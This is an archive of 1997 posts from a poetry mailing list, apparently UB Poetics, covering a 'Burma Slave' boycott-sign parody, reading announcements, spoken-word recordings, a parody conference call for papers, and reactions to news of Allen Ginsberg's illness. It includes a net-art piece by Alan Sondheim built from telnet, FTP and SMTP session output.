Burma Shave: History In 1927 a small company began using a new form of advertising in order to promote its newest product: brushless shaving cream. They set up a series of signs by the side of a road, each one with a line of a advertising slogan on it. Over the next forty years, these signs were put up all over the country, with hundreds of different slogans - most of them short rhyming

poems, all of them ending with a sign which read "Burma Shave". (The Burma Shave name comes from the fact that many of the ingredients came from Burma.) These signs became a favorite pastime for travelers, and were used for the next forty years in one of the most successful advertising campaigns ever.

Examples of Burma Shave signs:
don't stick
your elbow
out so far
it might go home
in another car.
Burma-Shave

sleep in a chair
nothing to lose
but a nap
at the wheel
is a permanent snooze
Burma-Shave

Burma-Slave While boycotts are built one person at a time, to become successful, they must penetrate the public consciousness. A company's brand-name is a valuable commodity, and by spreading the word about companies policies (through a boycott campaign) this commodity is devalued.

The idea behind the original Burma Shave signs was inspire people to watch for the poems, to read them, to remember them, and to get them to talk to their friends and family about them. The idea behind the Burma Slave signs is the same. While we don't expect to put up as many signs, we will spread the word through media exposure. Many media outlets that would never touch a boycott story may be more willing to run a story about the rebirth of the old Burma Shave signs.

Examples of Burma Slave signs:

Burmese children build the roads
to bring you gas
to help you go.
Slave labor is the hidden cost
when you pull into
Texaco.
Burma-Slave

Our money goes
to enslave the masses.
Set burma free

boycott UNOCAL gases.
Burma-Slave

Permanent and Temporary Signs The ideal place for a set of Burma Slave signs is by the side of a small highway, on land owned by a supporter. Depending on the speed of the cars on the road, a set of signs would need between 50 and 250 yards of road-side space.

In the mean time, we'd like to set up a set of signs by the side of a road (Memorial Drive or Soldiers Field Road in Boston) with a person holding each sign up for an hour or two.

↑ Index

27. Bob Grotjohn
Re: name gap (fwd)
Wed 2 Apr 1997

Gwyn McVay wrote:
>
> Moore's choice was Utopian Turtletop.
>
> g.

That would have been better than Edsel. It would have been a better name not just for the car but for the guy the car was named after (with aplogies to anyone on the list named Edsel). He could have moved to an old Wisconsin dairy-town and nobody would have noticed.

↑ Index

28. David Israel
Re: white caesura
Wed 2 Apr 1997

~~~~~~~~~~ start quote ~~~~~~~~~~
Date: Tue, 1 Apr 1997 09:31:00 -0800
From: Franklin Bruno <[redacted]>
Steven Marks said:

> *white caesurae -- This gets my vote. Indicates both the visual and the breath gap in a term that seems to suggest a mythological creature.*

What if the poem's printed on pink paper?

fjb
~~~~~~~~~~ end quote ~~~~~~~~~~

okay, how about:

negative opacity?
akashic bandwidth?
blank blippism?

a room w/ a view?
elbow-room sans elbow?
"a brief nirvana break"

(?)

d.i.

↑ Index

29. David Israel
Subject: heart's lacunae
Wed 2 Apr 1997

On All Fools' Day [as the Britts would have it, but where I was reared, 'twas April Fools' Day], thus quoth Rachel Loden:

~~~ ~~~ ~~~ start of quote ~~~ ~~~ ~~~ ... And since we're investigating the unnamed--what about an indelicate sensation that haunts the species at century's end? I mean that involuntary shudder overtaking a person, possibly this person, who has just posted some piece of lunch-chuffling idiocy to a list of, say, 400 people? What do we call that?

Poster's remorse? Post-postal tristesse?

Entertaining other nominations,

Rachel L.
~~~ ~~~ ~~~ end of quote ~~~ ~~~ ~~~

interesting jump from macro- to micro-shudder (from the humankind at-the-fin to poster-at-the-mouse) --

here's nominations:

with oopsful affect
an oopssome regret
post-post pathetics (PPPs) --

as in: "No sooner had Jonny Hackerstein hit the Reply key, than he was awash, indeed unwontedly o'ertaken by a sudden (and I dare say all to lucid) sense of oopssome regret. 'Get ahold of yourself, Jonny" -- his auto-admonishment feedback loop kicked in quick (hey, Boulder U. training, always at the ready). 'Enogh w/ the post-post pathetics, key-boy. We've got' -- he glanced up from his VitaSoy swizz as the revolvo-door injected into NutraVille the silverfoil

semblance of none other than the much-ballyhooed Mona Lisa Applewood -- 'a little, like they say, job to do.'"

d.i.

↑ Index

30. **DS**
Re: Ah
Wed 2 Apr 1997

I'll put in a vote for the Kerouac also. I play Hydrogen Jukebox for homework though. I also have a WCW reads himself that i would play more were it on cd rather than tape - but do play. & i listen to homer read by actors - in the car (when not music or the goon show)

Dan

At 08:39 AM 4/2/97 -0500, you wrote:
>Bob --
>
>I do my homework to recordings of Ted Berrigan and Bernadette Mayer. I've
>listened to the cd packaged with the Exact Change Yearbook No. 1 many
>times. The Kerouac boxed set is tremendous, and not bad either is the
>_Howls Raps Roars_ set, especially the Allen Ginsberg and the Lenny Bruce.
>
>Call me a purist, though, I like the unaccompanied Kerouac readings (what a
>self that guy put forward!) a lot better than the cute Zoot Sims or the
>noodly Steve Allen stuff. Which is not to say you can't put forward a
>great self with some music in the background, but it's tough ...
>
>Getting going,
>Jordan
>
>

↑ Index

31. **William Burmeister Prod**
Re: Ah
Wed 2 Apr 1997

> *Call me a purist, though, I like the unaccompanied Kerouac readings (what a self that guy put forward!) a lot better than the cute Zoot Sims or the noodly Steve Allen stuff. Which is not to say you can't put forward a great self with some music in the background, but it's tough ...*

> *I'll put in a vote for the Kerouac also. I play Hydrogen Jukebox for homework though. I also have a WCW reads himself that i would play more were it on cd rather than tape - but do play. & i listen to homer read by actors - in the car (when not music or the goon show)*

John Cage is great too on the Roratorio CD reading his mesostic version of _Finnegan's Wake_ with an Irish accent.

Bill B.

↑ Index

32. John Kinsella
Salt
Wed 2 Apr 1997

For those interested, Salt poetry journal should be available through your local book stores. If not, ask them to order through:

Penguin Books: Australia and NZ
Specialized Book Services: USA and Canada
Liverpool University Press: Britain and Europe.

Back issues and Folio(Salt) books are also available through AWOL.

The publisher is Fremantle Arts Centre Press in conjunction with Folio (Salt).

Yours
John Kinsella (Editor)

↑ Index

33. John Kinsella
P.S. Salt
Wed 2 Apr 1997

Salt 9 includes work by John Ashbery, Caroline Bergvall, Andrew Duncan,
Dorothy Hewett, Michael Hulse, Tony Lopez, Rod Mengham, Ian Patterson,
Peter Porter, JH Prynne (trans in French by Bernard Dubourg), Tracy Ryan,
Susan M Schultz, Iain Sinclair, John Tranter, and others.

Yours
John Kinsella (Ed.)

↑ Index

34. **DS**
Re: Ah
Wed 2 Apr 1997

Is this still aROUND?

> *John Cage is great too on the Roratorio CD reading his mesostic version of _Finnegan's Wake_ with an Irish accent.*
>
> *Bill B.*

↑ Index

35. **Dave Zauhar**
Creeley and Wieners at the Warhol
Wed 2 Apr 1997

Robert Creeley and John Wieners will be in Pittsburgh PA on Saturday, April 12th for a reading at the Andy Warhol Museum, which is located in an old building at 117 Sandusky street (north side). The reading starts at 7:30 and is held in conjunction with the opening of a special exhibition of Francesco Clemente's portraits (including Creeley's and Wiener's). Admission to the museum (and the reading) is $6, $5 for senior citizens and $4 for students. And if you happen to find yourself in Pittsburgh this summer (like, say you've committed a crime against the state and are exiled there), the Clemente exhibit is up through August 31.

Yours from Appalachia

Dave Zauhar

↑ Index

36. **Chris Stroffolino**
Re: POETICS In
Thu 3 Apr 1997

This is a general vague and somewhat shot in the dark attempt to help someone locate an apartment in NYC (Manhattan ideally, but mostly brooklyn). The person is well-behaved, potty trained, and all that, and makes an excellant pet, provided you don't tie it to the doorknob. Anyway, I should be more serious about this considering the desperation my friend is currently in---and if ANYBODY knows of something, with or with out roomate, available ASAP (though May 1st is fine, etc.) in Brooklyn or lower east side kinda range of NYC (rent circa no more than $800 per month, though if realtor's fee is waived I mean dodged

(transcended or collapsed), the person would surely be interested in negotiating. could you please backchannel if any, even somewhat remote, leads may materialize. Thanks you, suspiciously, timidly, yours, chris stroffolino

↑ Index

37. Christopher Alexander
n/formation 1.1
Thu 3 Apr 1997

---

just a quick announcement
before I cut out (sign off) this afternoon
to leave for the denver conference

~~~~~~~~~~~~~announcement follows~~~~~~~~~~~~~~~~~~~

the first issue of n/formation is now
available (on-line), featuring work by

Peter Ganick, our own Alan Jen Sondheim,
Martin Corless-Smith, Linda V. Russo,

& myself, plus a review-article by the
lovely Steven Marks. it can be viewed at

http://choengmon.lib.utah.edu/~calexand/nonce
or http://128.110.40.180/~calexand/nonce (same site)

comments are appreciated, backchannel of course.
  --enjoy
            chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

        Hey!!
              Now Available for a mere $4:
          constellation voice by linda russo

↑ Index

38. William Burmeister Prod
Re: Ah
Thu 3 Apr 1997

> *Is this still aROUND?*
~~~~~~~~~~~~~

Yes. The CD is available with a German label (I think it is Ars Acoustica or something like that). I am at work now, but will extract more information from the label tonite.

Bill B.

↑ Index

39. **Herb Levy**
Re: Ah
Thu 3 Apr 1997

The US company Mode has a 2-CD set of Cage "Reading Through Finnegans Wake", the hour-long horspiel "Roaratorio" of sounds collaged over this vocal track, & an interview with Cage about the works. The German label Wergo has released a CD of just Roaratorio).

FWIW, I don't think Cage is putting on an Irish accent, it's just the way his in-toning voice sounds regardless of the source material for the text.

I'd also recommend cris cheek's Skin Upon Skin & Nate Mackey's Strick in the spoken CD category.

Bests,

Herb

> *Is this still aROUND?*
>
> *John Cage is great too on the Roratorio CD reading his mesostic version of _Finnegan's Wake_ with an Irish accent.*
>
> *Bill B.*

Herb Levy
[redacted]

↑ Index

40. **dbkk**
Re: catching up on S.F. readings
Thu 3 Apr 1997

At 10:55 PM -0800 4/1/97, Steve Carll wrote:

> *April's gonna be a busy month for poetry here, with readings coming up by Darin DeStefano, Elizabeth Robinson, and Chris Daniels on the 5th, Deena*

> *Metzger on the 9th, Rob Hale, Doug Powell and George Albon on the 12th, John High on the 13th, Avery Burns and Ron Silliman on the 14th, Eileen Myles on the 15th, Steve McCaffery and Liz Willis on the 19th, Bob Grenier and Fanny Howe on the 20th, Kristin Prevallet on the 25th (talk on Helen Adams) and 27th (poetry reading), Barrett Watten on the 26th, Michael Boughn and Brian Lucas on the 27th, and then Ron Johnson on May Day. And that's not counting Kevin Killian's play "The Schwimmer Effect" on April 4th. Whew!*

Good work, Steve, summarizing all these dates. May I, Kevin Killian, add a few more events happening this week in Bay Area? Tonight, April 3, Harry Mathews at the Alliance Francaise; Monday, Jeanette Winterson at Diesel; Tuesday, David Sedaris at Rizzoli and I believe it's April 10th, Robin Blaser will be stealing in and out of UC Santa Cruz.

Looked at this way it does sound kind of tiring.

↑ Index

41. **dbkk**
elephant(itis)
Thu 3 Apr 1997

I thought this could stand another round.

Dodie

> *Mime-Version: 1.0*
> *Date: Thu, 3 Apr 1997 09:06:43 -0500*
> *Reply-To: Queer Studies List <[redacted]>*
> *Sender: Queer Studies List <[redacted]>*
> *From: "David H. Serlin" <[redacted]>*
> *Subject: Re: Heaven's Gate*
> *To: [redacted]*
> *Status: U*
>
> *Hey all, I thought I would share with you something I picked up from another list-serv, this one aimed at making fun of cultural studies, by real live scientists. ALthough you might find one or some of these topics funny, be aware that the general tenor of the list was to laugh laugh laugh about how silly cultstud types are, and science studies types even more so. While many in science/queer/gender studies regard people like Donna Haraway or Sandra Harding as visionary, sci-tech people bash them with increasing regularity. A word to the wise.*
>
> *Date: Tue, 1 Apr 1997 06:52:01 -0500*
> *From: "Harry M. Marks, H-SCI-MED-TECH" <[redacted]>*
> *Subject: CFP: Cultural Studies Conference (x H-LABOR)*

[redacted] *writes:*

A CONFERENCE PROPOSAL

A CONFERENCE PROPOSAL

THE ELEPHANT AND CULTURAL STUDIES

The Elephant as "Physical" Other
Does the Elephant Exist? Zoological Hegemony vs. Cultural Fabrication.
Pachyderm "Evolution": Eurochronocities and Eurocentric Linearity in the late (post)modern zoological script.
Tracking the elephant through texts: Western Visuality and Olfactory Perception

The Elephant: Interrogating Multi-Cultural Rhetoricities:
The elephant: Cyborg, Ethnicity, or "Species"?
(E) (L) (E) (P) (H) (A) (N) (T)? What's That": Exploitation and the Rhetorical Stategies of Denial in Thai Forestry Camps.
Viceroy-on-Elephant or Elephant-on-Viceroy? Accidents and the Uncertainties of Domination in some Durbars of the Late British Raj.

British Raj.

The Elephant As Eurocentric Object:
The elephant and the Lion: the Metaphoricity of Binarity in Early Medieval Texts.
"Hunting the Beloved Other": The elephant as Paradigmatic Problematic of Conservationist Conversations in Theodore Roosevelt's African memoirs.
Garage Sales and elephants: A Dialogue of Contested Spaces.

The Elephant As (Post)Modernist Construction
Post-Modern, (Post)Modern, or Postcontemporary Elephant? Epistemic Privileging and Discursive Spaces in MLA Debates.
Wild Elephant, Tamed elephant, Zoo-Confined Elephant, Extinct Elephant: Alternative Modernities for a Culturally-Constructed Ani(Male).
Elephant Ears: Symbolic Excess in (Post)Nouvelle Pastry Culture.
Situating the Paradigmatic other: The Elephant in Weight-Loss Discourse.

PINE 3.95 MESSAGE TEXT Folder: saved-messages Message 2 of 10 31%

---

*David Serlin, American Studies * NYU * 285 Mercer St., 8th floor **

> *New York, NY 10003-6607 * [redacted] (office) * [redacted] (fax) *
> *e-mail: [redacted] *

↑ Index

42. Charles Bernstein
Erica Hunt & Marty Erlich at Brandeis
Thu 3 Apr 1997

Thursday, April 10

7:00pm
"Can You Hear a Motion": a jazz and poetry collaboration with Marty Ehrlich, Erica Hunt and Stan Strickland

Rose Art Museum, Brandeis University

This is the first such collaboration by Marty and Erica. I'd love to be be able to go!

↑ Index

43. Aldon L. Nielsen
Re: elephant(itis)
Thu 3 Apr 1997

---

just thought people should know that the Elephantine parody call for papers long predates the Sokal affair, and was not simply a science-technology attack on cultstuds -- I was first handed a copy of this thing four years ago by a colleague in the philosophy department -- I think, like the term "politically correct," it may have had its origins in self-parody and then been seized upon for use by people with little or no sense of humor -- intersting to see it reappear as it works its way through our culture -- one might even make a study of the culture of circulation as it moves from xerox room bulletin board to electronic bulletin board -- one might even give a conference paper on it!

↑ Index

44. MAXINE CHERNOFF
Re: catching up on S.F. readings
Thu 3 Apr 1997

Dear List Members: May I add a few more SF area readings? Elizabeth Willis and Paul Hoover at UC Santa Cruz Bookstore, April 8, Paul Hoover at the Poetry Center, Unitarian Church, April 10, 7:30pm, Aaron Shurin and Ruth Schwartz at the Poetry Center, SFSU, April 17th, 4:30 pm, as well.

Best,
Maxine Chernoff

On Thu, 3 Apr 1997 [redacted] wrote:

> *At 10:55 PM -0800 4/1/97, Steve Carll wrote:*
>
> *April's gonna be a busy month for poetry here, with readings coming up by Darin DeStefano, Elizabeth Robinson, and Chris Daniels on the 5th, Deena Metzger on the 9th, Rob Hale, Doug Powell and George Albon on the 12th, John High on the 13th, Avery Burns and Ron Silliman on the 14th, Eileen Myles on the 15th, Steve McCaffery and Liz Willis on the 19th, Bob Grenier and Fanny Howe on the 20th, Kristin Prevallet on the 25th (talk on Helen Adams) and 27th (poetry reading), Barrett Watten on the 26th, Michael Boughn and Brian Lucas on the 27th, and then Ron Johnson on May Day. And that's not counting Kevin Killian's play "The Schwimmer Effect" on April 4th. Whew!*
>
> *Good work, Steve, summarizing all these dates. May I, Kevin Killian, add a few more events happening this week in Bay Area? Tonight, April 3, Harry Mathews at the Alliance Francaise; Monday, Jeanette Winterson at Diesel; Tuesday, David Sedaris at Rizzoli and I believe it's April 10th, Robin Blaser will be stealing in and out of UC Santa Cruz.*
>
> *Looked at this way it does sound kind of tiring.*

↑ Index

45. **Joel Kuszai**
Notice: Change of Address
Thu 3 Apr 1997

---

sorry to take up space on the information super-highway, but there may be some people out there I may not reach in time.

NOTICE!

Meow Press has moved. The new address is:

p.o. Box 527
Buffalo, NY 14226

effective immediately.

↑ Index

46. Jean Day
Re: POETICS Digest - 1 Apr 1997 to 2 Apr 1997
Thu 3 Apr 1997

Dear Steve (Carll) and all,

Barrett Watten's not reading by himself on April 26th! He's reading with me:

> Jean Day / Barrett Watten
> New Langton Arts
> 1246 Folsom St.
> San Francisco
> 8:00 pm (I think)

We'll both be reading from new books--his is FRAME from Sun & Moon, mine THE LITERAL WORLD from Xenos.

Hastily,

Jean

↑ Index

47. Erik Skjeveland
Bukowski's splash
Thu 3 Apr 1997

I keep reading the poem "splash" from "Betting on the Muse". To me this poem seems to be a description of Buk's special kind of narrative style. The style he kept sharpening til the end.

On the other hand this poem also has a feel to it that is reminiscent of Buk's early more surrealistic poems.

This caused me to wonder about when this poem first appeared.

I know many of the poems in BOTM are from the early 60's, but I haven't been able to pinpoint were/when "splash" was first published.

Do any of you out there know?
Anyone else like this poem?

All this wondering gives me something to do while waiting for "Bone Palace Ballet"

[redacted]
University of Bergen, Norway

↑ Index

48. Charles Alexander
Re: POETICS Digest - 1 Apr 1997 to 2 Apr 1997
Thu 3 Apr 1997

> *We'll both be reading from new books--his is FRAME from Sun & Moon, mine THE LITERAL WORLD from Xenos.*

Jean

Tell me more about Xenos. What other books? etc.

charles

charles alexander / chax press / [redacted]

↑ Index

49. Joseph Zitt
Re: Ah
Thu 3 Apr 1997

DS wrote:
>
> I'll put in a vote for the Kerouac also. I play Hydrogen Jukebox for
> homework though. I also have a WCW reads himself that i would play more were
> it on cd rather than tape - but do play. & i listen to homer read by actors
> - in the car (when not music or the goon show)

Well, I'm glad to no longer have homework... but I like to listen to bits of Cage's Empty Words while I'm working (whether it's the Italian Riot mix or the Coney Island Sun Ra collaboration depends on my mood) as well as Jackson Mac Low and the Four Horsemen. -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

↑ Index

50. Joseph Zitt
Re: Ah
Thu 3 Apr 1997

DS wrote:
>
> Is this still aROUND?
>

> >John Cage is great too on the Roratorio CD reading his mesostic version of
> >_Finnegan's Wake_ with an Irish accent.

Yes, it's available on CD from Mode and from Wergo (though I strongly recommend the Mode double-CD which has the complete spoken track on its own (the Wergo, I believe, contains one section) as well as a long recorded interview and two very thick booklets, one of which contains the complete mesostic. --
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

↑ Index

51. David Israel
Re: elephant(itis)
Thu 3 Apr 1997

Quoth Aldon L. Nielsen : << . . . one might even make a study of the culture of circulation as it moves from xerox room bulletin board to electronic bulletin board -- one might even give a conference paper on it! >>

& quoth Daniel Zimmerman:

<<Title for conference paper: "Elephants All The Way Down.">>

a nice reminder of the turtles tale that (it seems) I heard Ram Dass tell (in talk at UCLA circa '70 -- tempus is fugiting still) . . .

but anent the Elephant -- coincidentally, on the Indology listproc in the past day or two, Elephants have surface. Not related to the call-for-papers satire; rather, quest-for-Pali-text references (re: the "blind men & the elephant" allegorical tale -- attributed to the Buddha) -- said cites being duly provided, & further refs. to Rumi's version (in the Mathnawi) being likewise noted. So if anyone gets "serious" abt. an elephant paper (or conference or whatnot), let me know & I'll zap you w/ the footnote fodder.

pachydermially yours,
d.i.

↑ Index

52. mgk3k
new e-list for MLA members
Fri 4 Apr 1997

PLEASE REPOST WIDELY: LIST ANNOUNCEMENT

REPOST TO HUMANITIES, LITERATURE, WRITING, RHETORIC, AND LANGUAGE LISTS
REPOST TO DEPARTMENT LISTS
REPOST TO PROFESSIONAL-ISSUES/ACADEMIC-LABOR LISTS

Delegate-L, a discussion list for MLA members interested in public and institutional policy affecting the study and teaching of the humanities.

For the first time ever, members of the Modern Language Association will be able to discuss freely, on a year-round basis, the issues and actions that they would like the MLA Delegate Assembly to consider.

Topics can include all matters of academic working conditions and professional life, including public policy, legislation, publication, and the workplace dignity of colleagues at all ranks of the profession, including adjunct and student labor.*

To join, send the message:

subscribe delegate-l yourfirstname yourlastname
to
[redacted]

If you have any trouble subscribing, please post the list manager, Alan Rea <[redacted]>.

Sponsored and managed by the Graduate Student Caucus, Delegate-L is an unmoderated discussion list open to all MLA members interested in governance. While only MLA members and governance figures are invited to participate in this list, Delegate-L is not sponsored or managed by the Modern Language Association or its Delegate Assembly.

* Specificially, the MLA Constitution provides that one of the responsibilities of the assembly shall be to "formulate and submit to the membership for ratification resolutions on matters of public and institutional policy affecting the study and teaching of the humanities and the status of the language and literature professions represented by the association. Such matters may include proposed or enacted legislation, regulations, or other governmental and institutional policies, conditions of employment and publication, or additional matters that affect the association, its members in their professional capacities, or the dignity of members' work"(MLA Const.9.C.10).

Any conversation meeting this description or addressing any of the other governance responsibilities of the MLA Delegate Assembly is appropriate to delegate-l.

↑ Index

53. Maria Damon (Maria Damon)
Re: Allen Ginsberg
Fri 4 Apr 1997

---

shall we write a group poem/renga/range of affection for allen ginsberg?

At 3:04 PM 4/4/97, Alan Jen Sondheim wrote:
>The Daily News said 4 months to a year.
>
>If it wasn't for Howl, I would have broken down in Pennsyvania; it was my
>first epiphany. I found it at a local bookshop when it first came out; I
>was around 13 at the time and already depressive.
>
>Alan
>
>On Fri, 4 Apr 1997, Charles Bernstein wrote:
>
>> Allen Ginsberg has been diagnosed with liver cancer and is not given much
>> more time to live. There are articles about his illness in today's New York
>> Post and Philadelphia Inquirer.
>>
>> I would imagine everyone reading this will have the same intense reaction I
>> am having. It seems like Allen Ginsberg has been with me all my life.
>>
>
>_____
>URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>MIRROR: http://www.anu.edu.au/english/internet_txt/ ++++++++++++++
++
>IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted]
>CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

↑ Index

54. Daniel Zimmerman
Re: elephant(itis)
Fri 4 Apr 1997

Aldon L. Nielsen wrote:
>
> just thought people should know that the Elephantine parody call for
> papers long predates the Sokal affair, and was not simply a
> science-technology attack on cultstuds -- I was first handed a copy of
> this thing four years ago by a colleague in the philosophy department -- I

> think, like the term "politically correct," it may have had its origins in
> self-parody and then been seized upon for use by people with little or no
> sense of humor -- intersting to see it reappear as it works its way
> through our culture -- one might even make a study of the culture of
> circulation as it moves from xerox room bulletin board to electronic
> bulletin board -- one might even give a conference paper on it!

Title for conference paper: "Elephants All The Way Down."

↑ Index

55. Hugh Steinberg
Re: elephant(itis)
Fri 4 Apr 1997

Reminds me of chain letters/urban legends. One of the things I've just received (from two separate sources) is this scary message warning people on the internet not to open any messages entitled "penpal," which alledgedly conceals a virus that wipes your hard drive, then mails out copies to everyone on your mailing list. It's a hoax, but just scary enough to make anyone nervous (sort of like the one about the gangsta initiation ritual of driving around in a car with the headlights out and shooting anyone who flashes their highbeams at them).

Hugh Steinberg

↑ Index

56. George Bowering
Re: elephant(itis)
Fri 4 Apr 1997

Just a note. The disease that features oversized feet etc, is called not elephantitis but properly elephantiasis.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

57. Alan Jen Sondheim

The Mess or Wound

Fri 4 Apr 1997

-

JENNIFER BANGS AT HER NAMESAKE SERVER: The Mess or Wound

{k:22} Banging Jennifer Banging Alan: I tried to get into you ksh: Banging: not found over and over again, Alan/ {k:16} finger [redacted] >> z Jennifer never answers the {k:17} host jennifer.com >> z email. I stalk Alan/Jenn- {k:18} lynx http://www.jennifer.com/ >> z ifer who just won't listen {k:19} telnet jennifer.com 13 >> z to anything I have to say. Connection closed by foreign host. {k:20} telnet jennifer.com 21 >> z USER sondheim My name's her own. PASS jennifer My name's my own. PASV I'm not passive. QUIT I'll never quit. Connection closed by foreign host. She's not foreign. {k:33} telnet jennifer.com 25 >> z I send him mail. HELO panix3.panix.com I'm very polite. VERB MAIL FROM: [redacted] I am his mail. RCPT TO: [redacted] DATA Alan, I love you madly! I tell the truth. Jennifer! I sign my name. QUIT Connection closed by foreign host.

[jennifer.com] The sad results:

jennifer.com has address 198.6.197.1
jennifer.com mail is handled by mail.nicom.com
^[[?1h^[= (B^[)0^[[m ^[[H^[[J^[[23B^[[0;7m
Getting http://www.jennifer.com/Look
up www.jennifer.com.^[[0m ^H^H^H^H^[[0;7m Unable to locate remote host
www.jennifer.com.Alert!: Unable to connect to remote host.^[[0m
^H^H^H^H^H^[[K^[[?1l^[>
lynx: Can't access startfile http://www.jennifer.com/
Trying 198.6.197.1...
Connected to jennifer.com.
Escape character is '^]'.
Thu Apr 3 19:59:05 1997
Trying 198.6.197.1...
Connected to jennifer.com.
Escape character is '^]'.
220 dcez.nicom.com FTP server (Version wu-2.4(1)
Fri Dec 29 06:15:49 GMT 1995) ready.
331 Password required for sondheim.
530 Login incorrect.

503 Login with USER first.
221 Goodbye.

Trying 198.6.197.1... Connected to jennifer.com. Escape character is '^]'. 220 dcez.nicom.com ESMTP Sendmail 8.8.3/8.7.3; Thu, 3 Apr 1997 20:10:57 -0500 (EST) 250 dcez.nicom.com Hello panix3.panix.com [198.7.0.4], pleased to meet you 250 Verbose mode 250 [redacted]... Sender ok 250 [redacted]... Recipient ok 354 Enter mail, end with "." on a line by itself 050 [redacted]... Connecting to sondheim.com. via smtp... 050 220 hijinks.com ESMTP Sendmail 8.8.5/8.7.3; Thu, 3 Apr 1997 16:49:28 -0800 (PST)
[...]
Closing connection to sondheim.com.
closing connection 221 dcez.nicom.com closing connection

↑ Index

58. MAXINE CHERNOFF
Re: catching up on S.F. readings
Fri 4 Apr 1997

Dear List Members: Tried sending this out earlier but it somehow vanished. (Kevin, did it go just to you?) Anyway, more readings in April: April 8 at UC Santa Cruz Bookstore: Elizabeth Willis and Paul Hoover. April 10 at SF State Poetry Center, Unitarian Church on Franklin, 7:30 pm: Paul Hoover. April 17 at SF State Poetry Center (on campus), 4:30 pm: Aaron Shurin. Also, Susan Schultz will be reading May 1 at a cafe in SF. More details later-- (Susan: what's the exact name?)

Maxine Chernoff

↑ Index

59. hg
more soapbox BLASTS
Fri 4 Apr 1997

Since I can't go to the rutgers conference on "poetry & the public sphere", I'm filling up webspace with an (im)pertinent blast again, maybe some well- meaning conference attender can make use of this in some way. The Poetry Mission was started with thoughts around this question, and on Apr 23rd we're hosting a public forum ourselves to assess poetry's public role. We're inviting writers and others to bring poems & statements to contribute.

This is a draft of my own personal blast. It's probably too long & prosaic for what we're planning. So use it or abuse it, rutgerzians.

ROLE OF POETRY

Poetry like humanity is capable of standing erect on its own two feet, and this has been one of the motivating ideas of the Poetry Mission. We started this project believing that poetry can & should make itself heard in a free and open civic space, mediated as little as possible by large and peripheral institutions.

However, as I tried ot prepare for today's event, I came to the conclusion that for me, at least, this social role exists in tandem with a more narrowly intellectual role. I say poetry plays a role which is _at least_ as major as that of any of the human or pure sciences, in revealing whatever universal realities are accessible to human beings. This particular claim has been rejected again and again--first, by those who deny poetry's propositional efficacy; second, by those who accept the unbridgeable chasm between the arts and sciences; and third, by those who, in the name of postmodernism or various economic determinisms, deny meaning to either rationality or tradition. In order for poetry to stand on a par with the other arts and sciences, it must first of all acknowledge its own didactic potential-- as giving form to a criticism of life, in the school of bitter and ecstatic experience. Secondly, it must come to terms with science _on its own terms_-- recognizing a shared creative process in the formation of scientific concepts, while rejecting a dehumanized (and profane) scientific positivism.

These demands on poetry will strike many of you, I'm sure, as absurdly academic. And if there weren't something more than this, your scepticism would be justified. But in my view poetry stakes its claim to stand among the arts and sciences--even, perhaps, at their matrix--_not_ because of its status as "Queen of the Arts", or as the quintessential expression of aesthetic values. Poetry, by the most basic means--by means of the individual human voice--fulfills, sanctions, and profoundly _transcends_ aesthetics. The theory of poetry--as Dante, Emily Dickinson, Walt Whitman, Wallace Stevens, and Paul Celan, among others, conceive it--rests on a theory of reality. This theory stands distinct from science, on the one hand, and nihilism, on the other. You might call it an Orphic theory of reality. I find it difficult to encapsulate in a phrase, but it might go as follows: _the Universe is a vast meaningful riddle of animate signs. Our destiny is to spell them out._ Or, as Shakespeare's Master Shallow [I think] put it more concisely: _All's figures._

I thought I would end my statement there, but I find I've left out the really important, paradoxical thing. By giving form to the free, _unofficial_, undogmatic human voice, poetry is empowered to _declare its ignorance_-- to put experience before abstraction, the heart before the mind. In so doing, poetry

draws its most subtle, most scandalous, most dangerous, most _perfect_ image of the truth.

- Henry Gould
for the Wm. L. Bergeron Memorial Reading[Event] 1997, Cranston, RI 4.23.97

[this might be a pretty good manifesto for the Providence School]

↑ Index

60. KENT JOHNSON
Allen Ginsberg's death
Fri 4 Apr 1997

Here is the great equalizer, it would seem. Language is slippery, pronouns are fuzzy, poetry is not poetry. But death? Death is death, and there it is, no experimental messing with it.

I suspect Ginsberg would not want any sentimental sniffling. He's been talking about death for a long time. I remember at the Orono conference in--was it--'93? I approached Ginsberg after his reading there and introduced myself as the person who had edited the Buddhist anthology of contemporary American poets in which he prominently figured. I was sure he owuld be impressed, probably would embrace me warmly, since clearly this was the most important anthology to appear in post-war America, intro by Gary Snyder, numerous avant-garde poets along with big mainstreams, unknowns, etc. He had a red bandanna tied to four corners around his head, sipped deeply on a soda and said in a decidedly laconic way: Oh, so yu're the guy who did that... And then he turned and started talking to someone else.

I felt hurt and felt resentlful for a good time after that-- especially after riding back to the motel in the same van with him and he was yakkety yakketing with Marjorie Perloff and Jerome McGann and it was as if I was not there. Invisible. Look Allen, I have adored you, wanted to be like you, wondered what it would be like to walk down the street with you, read you out loud with my friends inthe bar, and all you can do after I edit a Buddhist anthology of poetry is treat me like shit.

Did I think to myself: I wish you would die, motherfucker. (but no, no, I don't mean that,that's a wrong thing to feel, that's jsut my drunkenness, I'm not that kind of dperson...)

And of course he will. And of course all of us will. The intensity comes out of the factness of death, doesn't it, like a beatnik on acid with beads, staring us in the face with all of his teeth? Now I realize death was probably teaching me a lesson, saying so what if you did so and so, you sorry idiot? No merit.

So don't be sad. I'll bet Allen wouldn't want it that way. But then again, I could be worng. And only death will prove us all, in the end, immaculately right. Right?

kent

> *Date sent: Fri, 4 Apr 1997 11:50:48 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Charles Bernstein <[redacted]>*
> *Subject: Allen Ginsberg*
> *To: [redacted]*
>
> *Allen Ginsberg has been diagnosed with liver cancer and is not given much more time to live. There are articles about his illness in today's New York Post and Philadelphia Inquirer.*
>
